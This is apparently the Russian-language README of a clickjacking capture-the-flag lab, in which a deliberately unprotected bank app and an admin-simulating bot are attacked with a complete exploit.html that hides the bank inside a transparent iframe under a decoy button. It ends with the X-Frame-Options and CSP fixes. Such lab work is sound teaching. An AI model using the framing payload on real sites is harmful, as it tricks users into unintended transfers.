Clickjacking - атака, при которой злоумышленник встраивает целевой сайт в невидимый iframe
и накладывает поверх него свои элементы. Жертва думает, что кликает по кнопке на сайте
злоумышленника, но на самом деле взаимодействует со скрытым элементом целевого сайта.
Причина уязвимости - отсутствие заголовков X-Frame-Options или
Content-Security-Policy: frame-ancestors, которые запрещают встраивание сайта в iframe.
Банковское приложение не защищено от встраивания в iframe. Администратор банка
авторизован на внутреннем хосте web:80. Злоумышленник создаёт страницу с невидимым iframe,
в который загружает интерфейс банка. Поверх кнопки «Перевести» размещает свою кнопку приманку.
Когда администратор нажимает на приманку, банк выполняет перевод средств.
Цель: получить 5000 на свой счёт - тогда на странице появится флаг.
- Многопользовательский режим - у каждого участника свой аккаунт, флаг получает каждый кто успешно проведёт атаку, победа одного не мешает другим
- Неисчерпаемый баланс администратора - баланс банка не уменьшается при переводах, все участники могут получить флаг независимо друг от друга
- Регистрация - участник сам создаёт аккаунт. Зарегистрировать аккаунт
adminневозможно - Получатель перевода задаётся участником в интерфейсе бота при отправке ссылки
- Docker Toolbox
- Docker Compose
git clone https://github.com/validverify/clickjacking-ctf.git
cd clickjacking-ctf
docker-compose up --buildПосле запуска:
| Сервис | Адрес |
|---|---|
| Банк | http://localhost:8080 |
| Интерфейс бота | http://localhost:5000 |
На Docker Toolbox (Windows) вместо
localhostиспользуйте IP машины:docker-machine ip- обычно192.168.99.100
| Переменная | Описание | По умолчанию |
|---|---|---|
| FLAG | Флаг победы | practice{clickjacking_ctf} |
| WEB_PORT | Внешний порт банка | 8080 |
| ADMIN_USER | Логин администратора | admin |
| ADMIN_PASS | Пароль администратора | admin123 |
| BOT_INTERFACE_PORT | Порт интерфейса бота | 5000 |
| TRANSFER_AMOUNT | Сумма перевода, которую выполняет бот | 5000 |
clickjacking-ctf/
├── .env
├── .gitignore
├── docker-compose.yml
├── Dockerfile.web
├── Dockerfile.bot
├── README.md
├── bot/
│ ├── bot.py
│ └── requirements.txt
└── web/
├── index.php
└── style.css
Файл web/index.php - отсутствуют заголовки:
// Защита:header('X-Frame-Options: DENY');
// илиheader("Content-Security-Policy: frame-ancestors 'none';");Далее будут присутствовать:DOCKER_MACHINE_IP - IP адрес машины Докер(bash > docker-machine ip)INTERNAL_MACHINE_IP - IP адрес внешней(основной) машины(host.docker.internal)
Откройте http://DOCKER_MACHINE_IP:8080 и создайте аккаунт через форму регистрации. Запомните свой логин - он понадобится при отправке ссылки боту.
После входа вы увидите макет формы администратора. Обратите внимание на:
- поле
to(получатель) -<select name="to"> - поле
amount(сумма) -<input name="amount"> - кнопку с классом
.transfer-btn
На странице входа есть подсказка: администратор авторизован на хосте web:80. Этот адрес нужно указать в src вашего iframe.
<!DOCTYPE html><html><head><title>Получите приз</title><style>body { margin:0; padding:20px; font-family: Arial; }
.victim-container {
position: relative;
width:500px;
height:600px;
margin:20px auto;
}
iframe {
position: absolute;
top:0;
left:0;
width:500px;
height:600px;
border: none;
opacity:0.5; /* для калибровки; в финале - 0.01 */z-index:2;
}
#decoy-btn {
position: absolute;
top:460px; /* подбирается под кнопку "Перевести" */left:150px;
width:200px;
height:45px;
z-index:1;
background:#4CAF50;
color: white;
font-size:16px;
cursor: pointer;
border: none;
}
</style></head><body><divclass="victim-container"><!-- web:80 - внутренний хост, где авторизован администратор --><iframesrc="http://web:80/index.php"></iframe><buttonid="decoy-btn">Нажми для приза</button></div></body></html>- Поставьте
opacity: 0.5уiframe, страница банка станет видна - Меняйте
topиleftу#decoy-btn, пока кнопки не совпадут - Когда совпало, верните
opacity: 0.01
В папке с exploit.html:
python3 -m http.server 8000Проверьте: http://localhost:8000/exploit.html
Откройте http://DOCKER_MACHINE_IP:5000, заполните форму:
- Ссылка:
http://INTERNAL_MACHINE_IP:8000/exploit.html - Ваш логин: имя вашего аккаунта
Нажмите Отправить.
Вернитесь на http://DOCKER_MACHINE_IP:8080 и войдите под своим аккаунтом. При балансе 5000 на странице появится флаг.
Бот запускается вместе с приложением. При старте он уже авторизован как admin на web:80.
После получения ссылки бот:
- Открывает страницу злоумышленника
- Переключается в
iframeс сайтом банка - Находит форму перевода -
select[name=to]иinput[name=amount] - Выбирает логин, указанный в форме бота, вводит сумму и нажимает «Перевести»
Это имитирует поведение реальной жертвы, кликающей по странице злоумышленника.
// 1. X-Frame-Optionsheader('X-Frame-Options: DENY');
// 2. Content-Security-Policyheader("Content-Security-Policy: frame-ancestors 'none';");Добавьте любой из этих заголовков в начало index.php - и встраивание в iframe станет невозможным. Браузер заблокирует загрузку страницы внутри чужого сайта.